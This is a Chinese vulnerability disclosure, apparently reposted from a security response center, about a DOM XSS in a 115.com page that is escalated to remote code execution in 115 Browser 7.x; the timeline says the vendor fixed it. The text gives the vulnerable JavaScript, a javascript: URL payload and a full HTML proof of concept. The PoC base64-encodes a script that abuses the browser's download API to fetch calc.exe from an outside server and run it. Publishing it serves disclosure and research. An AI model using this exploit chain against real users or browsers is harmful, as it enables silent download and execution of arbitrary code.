点我的链接就能弹你一脸计算器

比较经典的国产浏览器“特权域”问题，115 浏览器从 DOMXSS 到远程命令执行漏洞，目前官方已修复。

0x01 DownProxy XSS

view-source: http://m.115.com/down_proxy.html

function localParam(search, hash) {
    search = search || window.location.search;
    hash = hash || window.location.hash;
    var fn = function (str, reg) {
        if (str) {
            var data = {};
            str.replace(reg, function ($0, $1, $2, $3) {
                data[ $1 ] = $3;
            });
            return data;
        }
    }
    return {search: fn(search, new RegExp("([^?=&]+)(=([^&]*))?", "g")) || {},
        hash: fn(hash, new RegExp("([^#=&]+)(=([^&]*))?", "g")) || {}};
}

var isAndroid = navigator.userAgent.match(/android/ig),
    isIos = navigator.userAgent.match(/iphone|ipod/ig),
    isIpad = navigator.userAgent.match(/ipad/ig),
    isWeixin = (/MicroMessenger/ig).test(navigator.userAgent),
    params = localParam(),
    docid = params.search['docid'],
    isappinstalled = params.search['isappinstalled'] || params.search['appinstall'],
    openurl = (params.search['openurl'] ? params.search['openurl'] : false),
    gotourl = (params.search['goto'] ? decodeURIComponent(params.search['goto']) : false),
    gotokey = (params.search['key'] ? params.search['key'] : false),
    gotovalue = (params.search['val'] ? decodeURIComponent(params.search['val']) : false),
    gotodep = (params.search['tid'] ? decodeURIComponent(params.search['tid']) : false),
    iframe = document.getElementById('ifr'),
    iframe2 = document.getElementById('ifr2'),
    showurl = params.search['showurl'];
openurl = openurl || 'oof.disk://';

if(gotokey){
    openurl = 'oof.disk://' + gotokey;
    if(gotovalue){
        openurl += "/" + gotovalue;
    }
    if(gotodep){
        openurl +=  "/" + gotodep;
    } }

window.onload = function () {
    if (!isWeixin) {
        if(isAndroid){
            if(showurl){
                window.location.href = decodeURIComponent(showurl);
                return;
            }
        }
        iframe.src = openurl;
        setTimeout(function () {
            if(gotourl){
                window.location.href = gotourl;
            }
            else{
                if ((isIos || isIpad) && !isAndroid) {
                    window.location.href =
                        "https://itunes.apple.com/us/app/115wang-pan/id647500047?mt=8";
                    window.setTimeout(function(){window.location.href =
                        'http://a.app.qq.com/o/simple.jsp?pkgname=com.ylmf.androidclient';}, 1000);
                } else if (isAndroid) {

其中 iframe.src -> openurl -> params.search 环节出现问题，导致可使用伪协议嵌入 iframe 造成 XSS 漏洞：

params = localParam(),

openurl = (params.search['openurl'] ? params.search['openurl'] : false),

openurl = openurl \|\| 'oof.disk://';

iframe.src = openurl;

Payload: http://m.115.com/down_proxy.html?openurl=javascript:alert(document.domain)

0x02 FINDAPI

for(i in downloadInterface){console.log(i)}

VM227:2 getLiXianIngUrls

VM227:2 getLiXianUnFinishedUrls

VM227:2 deleteLiXianUnFinishedUrl

VM227:2 switchToOfflineWin

VM227:2 createBTTaskForWeb

VM227:2 beginDownload

VM227:2 cancelOfflineDownload

VM227:2 createOfflineDown

VM227:2 getOfflineErrorInfo

VM227:2 deleteOfflineErrorInfo

VM227:2 GetTaskList

VM227:2 ContinueDownload

VM227:2 PauseDownload

VM227:2 RemoveDownload

VM227:2 RunDownloadItem

VM227:2 OpenFolderItem

VM227:2 StartAllDownloads

VM227:2 PauseAllDownloads

VM227:2 ClearHasFinished

VM227:2 ShowDefaultFolder

VM227:2 EnableShutdown

VM227:2 GetDownloadErrorList

VM227:2 ShowNewDownloadTaskWindow

VM227:2 OpenURL

测试可知使用 OpenURL(URL) 传入二进制文件网址时则会自动下载文件到浏览器设置的下载文件夹内，随后使用 RunDownloadItem 打开，通过查看 RunDownloadItem 的原型可以知道：

function(id) {  native function NativeRunDownloadItem();  return NativeRunDownloadItem(id);}  

需要传入任务 ID 才能够运行下载的项目，所以这里我们使用 ClearHasFinished() 移除掉已经下载文件的记录然后遍历小范围的数字传参即可。

0x03 POC

<!DOCTYPE HTML>
<html>
<head>
    <title>115 Browser version 7.2.5.15 RCE</title>
    <meta charset="utf8"/>
</head>
<body>
<h1>115 Browser 7.* RCE Vulnerability</h1>


{gfm-js-extract-pre-1}
<img style="margin-top: 10px;" width=490 src="https://ws1.sinaimg.cn/large/c334041bgw1fax1c9wjb0j21c810gwl2.jpg"/>
//
w=window.parent.downloadInterface;w.ClearHasFinished();w.OpenURL('http://server.n0tr00t.com/calc.exe');window.parent.setTimeout(function(){for(var
i=0;i<300;i++){w.RunDownloadItem(i);}},5000);
<iframe src="http://m.115.com/down_proxy.html?openurl=javascript:eval(window.parent.location.hash.substr(1))#eval(atob('dz13aW5kb3cucGFyZW50LmRvd25sb2FkSW50ZXJmYWNlO3cuQ2xlYXJIYXNGaW5pc2hlZCgpO3cuT3BlblVSTCgnaHR0cDovL3NlcnZlci5uMHRyMDB0LmNvbS9jYWxjLmV4ZScpO3dpbmRvdy5wYXJlbnQuc2V0VGltZW91dChmdW5jdGlvbigpe2Zvcih2YXIgaT0wO2k8MzAwO2krKyl7dy5SdW5Eb3dubG9hZEl0ZW0oaSk7fX0sNTAwMCk7'))"
        style="display:none"></iframe>
</body>
</html>

640

Discloure Timeline

2016/12/19 Report vuln detail to 115.

2016/12/24 M.115.com xss fix.

2016/12/25 The DownloadAPI update is expected to be released after the new year.

2016/12/26 Public, via @evi1m0.

Reference

https://www.seebug.org/vuldb/ssvid-92585

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【原文：点我的链接就能弹你一脸计算器  作者：YSRC    同程安全应急响应中心YSRC入驻安全脉搏账号发布】

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